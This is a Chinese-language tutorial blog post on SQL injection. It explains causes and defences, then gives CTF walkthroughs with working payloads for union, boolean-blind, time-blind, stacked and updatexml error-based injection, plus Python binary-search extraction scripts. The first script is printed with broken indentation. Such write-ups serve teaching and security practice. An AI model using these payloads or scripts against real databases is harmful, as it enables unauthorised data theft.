SQL注入漏洞

一、原理和防御方法

        原理:

             在用户可控制的参数上过滤不严或没有任何限制,使得用户将传入的参数(如URL,表单,http header)与SQL语句合并构成一条SQL语句传递给web服务器,最终传递给数据库执行增删改查等操作,并基于此获取数据库数据或提权进行破坏。

  

  产生漏洞的原因

         1、用户可控参数;

        2、参数能够代入到数据库里面,与数据库能够进行交互;

防御的方法:
        1、给数据库设置最小的权限;

        2、对用户输入的参数进行严格的过滤;

        3、使用预编译语句和参数化查询;

        4、不暴露SQL语句的错误信息;

       

二、常见类型及例题(按照注入方式来分)

       

     以下都是 来自ctfshow的题目,

union注入

web171

首先来闭合,这里的#被过滤了,用--+来替换,最终是利用 1’ --+  来完成

接下来用来查询字段数,先使用order by

       

最终有 3 个字段数,

查库

得到了ctfshow_web是库名

接下来查表,

  

  -1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schecma=database()--+

1' union select 1,2, group_concat(table_name) from information_schema.tables where table_schema=database() --+

得到了表名ctfshow_user

查询列名

1' union select 1,2,group_concat(column_name) FROM information_schema.columns where table_schema=database() and table_name='ctfshow_user'--+

得到了   id  username   password

最终爆破信息,最终得到了flag,

或者一步到位

根据题目给的SQL语句判断,flag就在字段password里,且旁边对应的字段username值为flag,

查询到了字段数后,直接开写payload

1' union select 1,2,group_concat(id,username,password) from ctfshow_user --+

union 注入适用于页面出现回显的位置,下面是基本的查询语句

1 order by 2  判断字段数
-1 union select 1,2,group_concat(schema_name) from information_schema.schemata  查询所有数据库的名称
-1 union select 1,2,database() 查询当前数据库名称
-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='库名'  查询数据库下的所有表名信息
-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='库名' and table_name='表名'   查询数据库下某表的所有字段信息
-1 union select 1,2,group_concat(列名1,'<br>',列名2) from 库名.表名   查询数据

注:limit m,n 可以控制输出的多少。 m表示从m开始,n表示输出多少。
比如limit 0,1 就是从0行开始,输出1行。

布尔盲注

注入原理:

    简单来说就是,它只有两种返回结果,我们只能通过“页面正常”和“页面不正常”作为判断条件作为注入利用。

常用函数:

substr(str, pos, len) 从start位开始截取string字符串的length长度。string参数处可以为SQL语句,注意如果没有设置length的值会返回从pos位置开始剩下所有的字符

例子:substr(database(),1,1)>'a' //判断database()反回的数据库名字的第1个字符是否在ascii表中大于小写字母a   ;substr(database(),2,1)>'a'    //判断database()反回的数据库名字的第2个字符是否在ascii表中大于小写字母a

 mid(str, pos, len)用法参照上面的substr() ,是一样的。

 left(string,n)    作用:返回string字符串从左往右的前n个字符

 例子:left(database(),1)>'a'   //判断database()返回的数据库名字的从左数第1个字符是否在ascii表中大于小写字母a      left(database(),2)>'aa'   //判断database()返回的数据库名字的从左数前2个字符是否在ascii表中大于字符串aa

 ascii()函数 作用:可以将括号内的字符串转换为ascii表中对应的十进制的ascii值。常常ascii函数会和截断函数一起使用构造逻辑判断,并根据枚举法和二分法快速猜解数据库内容和信息等。

length()函数   作用:返回字符长度    例子:length(database())  返回当前连接的数据库名称长度  

      

   limit 关键字

    格式: limit i,j

  i:查询结果的索引值,默认从0开始,如果为0则可省略i

    j : 查询结果返回的数量

  例子:select username from users limit 10 ;  查询users表中前10个username(索引是0-9,查询的就是第1-10个记录)    select username from users limit 1,2 ; 查询users表中2个记录,索引为1-2 也就是第2和第3个记录

mid () 函数  :mid(a,b,c) 从位置b开始,截取a字符段的长度

ord() 函数 :跟AScill()函数相似,将字符转换为AScill值。

   实际的例子:

           查询数据库的长度:
 

1' and (select length(database())>1)-+

接下来:

查询数据库的名称:

1' and (ascii(substr((database()),1,1)))>1 --+

查询数据库表的数量:

1' and (select count(*) table_name from information_schema.tables where table_schema='库名')>1 --+

查询表的长度:

1' and (select length(table_name) from information_schema.tables where table_schema='库名' limit m,n)>1 --+

ps:limit m,n   m是从哪里开始,n是输出多少   通过修改m的值,则可以把所有的表都查询长度 

 查询表的名称:

1' and (ascii(substr((select table_name from 
information_schema.tables where table_schema='库名' limit m,n),1,1)))>1 --+

ps:同样是修改limit m,n 控制第几张表  而通过控制substr函数的参数2,修改表名称的第几位

查询字段的数量:

1' and (select count(*) column_name from information_schema.columns where table_schema='库名' and table_name='表名')>1 --+

查询字段的长度:

1' and (select length(column_name) from information_schema.columns where table_schema='库名' and table_name='表名' limit m,n)>1 --+

查询字段的名称:

1' and (ascii(substr((select column_name from 
information_schema.columns where table_schema='库名' and table_name='表名' limit m,n),1,1)))>1 --+

查询数据的数量:

1' and (select count(*) 字段名 from 库名.表名)>1 --+

查询数据:

1' and (ascii(substr((select 字段名 from 库名.表名 limit 0,1),1,1)))>1 --+

   web190

先看源代码,发现了一个 select-blind.php  访问一下看看,布尔盲注一般不考虑手注,因为比较复杂

那么我们来学习写下脚本的吧!

先来学习一下二分法,

     原理:
      参考高中数学的函数二分法求根,

   首先,从数组的中间元素开始搜索,如果该元素正好是目标元素,则搜索过程结束,否则执行下一步。      如果目标元素大于/小于中间元素,则在数组大于/小于中间元素的那一半区域查找,然后重复第一步的操作。    如果某一步数组为空,则表示找不到目标元素

  优点:提高效率,枚举法,延时法写得脚本,运行出有时花的时间太长

那么来写脚本吧!

     这个是网上找来的脚本,有点问题,简单修改了一下

import requests
url="https://44f888f1-8495-4b18-a739-a65a8818658c.challenge.ctf.show/ "
flag=""
for i in range(1,60):
    max=127     #ascill最大值;
    min=32      #ascill 最小值
    while 1:    #无限不循环
 #二分法具体提现
         mid=(max+min)  >>1   #除2向下取整

 print("第{}波   max:{},min:{},mid{}".format(i,max,min,mid))
if (min == mid):   #相当于min+1=max     max=1000min=99 mid=99
 flag += chr(mid)
 print(flag)
 break
# payload = "admin'and (ascii(substr((select database()),{},1))<{})#".format(i,mid)
# 当前数据库 ctfshow_web
# payload = "admin'and (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))<{})#".format(i,mid)
# 当前数据表 ctfshow_fl0g和ctfshow_user
# payload = "admin'and (ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{},1))<{})#".format(i,mid)
# 当前字段名 id,f1ag
# payload = "admin'and (ascii(substr((select f1ag from ctfshow_fl0g),{},1))<{})#".format(i,mid)
# 获取flag
payload = "admin'and (ascii(substr((select f1ag from ctfshow_fl0g),{},1))<{})#".format(i, mid)
data = {
    "username": payload,
    "password": 0,
}
res = requests.post(url=url, data=data)
if res.text.find("8bef") > 0:  # 返回值为1 <100 将该值设置为max
    max = mid
else:  # 返回值为0 <99 将该值设置为min
    min = mid
if mid == 32:  # 如果mid的值等于空格 结束最外层循环
    print("flag={}".format(flag))
    break

最终得到了:
 

import requests

url = "https://5de6fef3-081b-4c51-b7b7-fa6aeb2586e6.challenge.ctf.show/"
flag = ""

for i in range(1, 60):
    max_val = 127
    min_val = 32
    while True:
        mid = (max_val + min_val) // 2
        print(f"第{i}波 max={max_val} min={min_val} mid={mid}")

        payload = f"admin' and ascii(substr((select flag from ctfshow_fl0g),{i},1))<{mid}#"
        data = {
            "username": payload,
            "password": 0,
        }

        res = requests.post(url, data=data, verify=False)
        if "8bef" in res.text:  # 假设"8bef"是某种响应表示注入为真
            max_val = mid - 1
        else:
            min_val = mid + 1

        if max_val < min_val:
            break

    flag += chr(min_val)
    print(flag)

print("flag={}".format(flag))

修改的原因是:

     需要进行SSL证书验证,verify=False  就是先暂时禁止证书验证,但是完成后要注意恢复证书的验证。做题是SSL证书验证无法得出答案。而且max会覆盖Python中max()函数所以改了

继续解释一下代码中payload的思路:
         这里的payload设计一个布尔表达式,用来测试数据库中的某个字符串(库名、表名、列名、字段名)的某个位置的AScill值是否小于猜测值(mid),

     搭配着substr()函数提取第i个位置开始的1个字符,然后接着用AScill()函数获取它的AScill值,然后将得到的AScill值与mid进行比较,如果小于,该表达式的结果就为True。

    接着将构造好的payload作为用户名发送给url的post请求中。

   

时间盲注   

注入原理:

     通过时间函数是SQL语句执行时间延长,从页面响应时间判断注入是否成功,简单来说,当页面出现延时响应,且响应时间和设定的时间函数一致,则表示判断正确,如果直接返回结果,页面响应没有出现延迟,则说明为执行到时间函数的部分。

    一般适用于,不能使用union注入(没有回显的位置)、报错注入(没有返回错误的SQL语句)、布尔盲注(没有正确或错误的回显),不过时间盲注需要找到一个正确的数据,然后and的时候,接上需要判断的语句,所以要用到if函数判断对错,substr()截取字符,AScill()转换字符、以及slee函数。

常用的时间盲注函数:

sleep(second):延迟函数,延迟second,即延迟n秒,如sleep(2),延迟2s

benchmark(count,expr):可测试某些特定操作的执行速度。count指的是执行次数,expr表达式,表示重复计算表达式count次,评估执行表达式的效率。

if(condition,expr1,expr2):判断函数,如果condition为真,则expr1,否则执行expr2,使用该函数辅助盲注判断。如,判断id为2的username的第一个字母是A,A的ASCII码十进制值为65,判断正确则时间延迟3s。

来自ctfhub的题目:

判断注入点:
依次尝试不同类型的payload,延时五秒以上则判断存在时间盲注

?id=1 and if(1,sleep(5),3)

?id=1' and if(1,sleep(5),3)

判断长度:
利用if和length,如果页面响应时间超过5秒,说明长度判断正确(sleep(5));
如果页面响应时间不超过5秒(正常响应),说明长度判断错误,继续递增判断长度。
 

?id=1' and if((length(查询语句) =1), sleep(5), 3) 

利用枚举法

利用if() 和 sleep() 判断字符的内容。
从查询结果中截取第一个字符,转换成ASCLL码,从32开始判断,递增至126。
关于ASCLL码可参考我的另一篇文章:ASCLL编码对照表

?id=1' and if((ascii(substr(查询语句,1,1)) =1), sleep(5), 3) 

   

      如果页面响应时间超过5秒,说明字符内容判断正确;
如果页面响应时间不超过5秒(正常响应),说明字符内容判断错误,递增猜解该字符的其他可能性。第一个字符猜解成功后,依次猜解第二个、第三个……第n个(n表示返回结果的长度)

  

但一般我们利用脚本来解决问题,

请求头注入

   http header注入类型包括了Cookie注入,Referer注入、User-Agent注入,XFF注入下面一 一
介绍,   

主要来讲Cookie注入

     先来说说什么叫做Cookie,Cookie其实就是代表你身份的一串字符串,网站根据Cookie来识别你是谁,如果获得了管理员的Cookie,就可以无需密码直接登录管理员账号。

设置Cookie的方法:
      直接在浏览器上弄;

        抓包直接修改;

        有些插件;

        浏览器自带js进行设置;

堆叠注入

   注入原理: 

  mysql数据库sql语句的默认结束符是以;结尾,在执行多条SQL语句时就要使用结束符隔开,那么在;结束一条sql语句后继续构造下一条语句,是否会一起执行?最终形成了堆叠注入。

通过结束符同时执行多条sql语句,这就需要服务器在访问数据端时使用的是可同时执行多条sql语句的方法,例如php中的mysqli_multi_query函数。但与之相对应的mysqli_query()函数一次只能执行一条sql语句,所以要想目标存在堆叠注入,

     在目标主机没有对堆叠注入进行黑名单过滤的情况下必须存在类似于mysqli_multi_query()这样的函数,简单总结下来就是

1、目标存在sql注入漏洞
2、目标未对";"号进行过滤
3、目标中间层查询数据库信息时可同时执行多条sql语句
 

[suctf 2019]EasySQL

先来看看闭合,尝试1 1# , 1’ 1’# , 1" 1"#,最后1 1#有回显,而1”#出现了

利用 1;show database;#

得到了

而 利用   1;show tables;#

用  1;show columns from flag;#

发现了 from和 flag被过滤了,

最后用 payload:*,1的答案。

  • 此时sql语句为 select *,1||flag from flag;
  • 用 * 查询所有内容,成功显示flag。

|| 或or 运算符讲解:

select command1 || command2

情况一:若command1为非0数字,则结果为1。

情况二:若command1为0或字母,command2为非0数字,则结果为1。

情况三:command1和command2都不为非0数字,则结果为0。

还可以, 让这里的 || 实现字符串拼接而不是或运算符。 但mysql缺省(默认)不支持 || 实现字符串拼接。而通过 sql_mode 中PIPES_AS_CONCAT的来使 || 实现字符串拼接功能。

  SQL Mode 定义了两个方面:MySQL应支持的SQL语法,以及应该在数据上执行何种确认检查。

   简单来说,相当于通过 sql_mode 中PIPES_AS_CONCAT 来设置mysql 中 || 支持字符串拼接。

1;set sql_mode=PIPES_AS_CONCAT;select 1

最后得到了flag

[HNCTF 2022 WEEK4]fun_sql

       根据以下内容可以获得,

     代码检查$row是否为空,如果为空,则输出"something wrong"并终止执行。如果row不为空,代码将打印出row的内容,并尝试判断row的第二个元素是否等于uname。如果相等,代码将输出$flag.

而里面的mysqli_multi_query()函数是堆叠注入的标志

查询到了列数

接着插入数据

    

最后uname=aaa,就可以得到flag

报错注入

注入原理:
      报错注入也是基于有回显错误信息的一种,只不过构造的payload一般是基于特定函数,根据函数的规则使其报错。并利用这个报错的回显特点,让报错的内容为我们想要获取的数据库内容

     常用函数:

   count(*)函数:返回表中的记录数

  extractvlue():   查询节点内容

  updatexml():    修改查询到的内容

    rand()和rand(0) 函数

    rand()函数可以生成一个0-1之间的随机数,每次生成的数都是随机的,而rand(0)因为有了0这个随机数种子,使得它每次生成的随机数都是一样的,也就是所谓的伪随机。

floor函数

 floor函数的作用是返回小于等于该值的最大整数,也就是所谓的向下取整,只保留整数部分。

获取数据库名

' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+


#0x7e 是“~”符号的16进制,在这里作为分隔符

获取表名

 and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='数据库名' limit 0,1),0x7e),1)--+

获取字段

' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='数据库名' and table_name='表名' limit 0,1),0x7e),1)--+

最终获得信息


' and updatexml(1,concat(0x7e,(select concat(username,0x3a,password) from users limit 0,1),0x7e),1)--+

[SWPUCTF 2021 新生赛]easy_sql

直接看到了参数wllm,

先来试试:传个1,正常

而    1’   出现错误,那么就来闭合它吧!

过滤了#  ,利用--+完成

字符型注入,接下来使用order by,长度为3

将1改为-1后,使用union selec,用户名与密码的位置出现了我们注入得到的2与3,表明这两个位置我们可用

   

将3的位置作为一个显示位,输入schema_name from information_schema.schemata--+

用group_concat()函数连接到一行显示来对库进行查询

对test_db该表进行查询

接下来查test_tb查询信息

最后得到flag

三、总结

手工注入基本步骤(针对MySQL数据库):
    

寻找SQL注入点;闭合+注释

      使用例如: ' or 1=1 #    ' or 1=1 --   等等,如果能查询出结果,存在注入点,证明是SQL注入

同时也可以确定数据库的类型,

  查询SQL有几个字段;

         order by   ,group by等等进行探索

  

确认字段与页面显示的关系;

   

    查询数据库名,表,字段

查询数据库名后使用相应的SQL语句。

  • 19
    点赞
  • 29
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值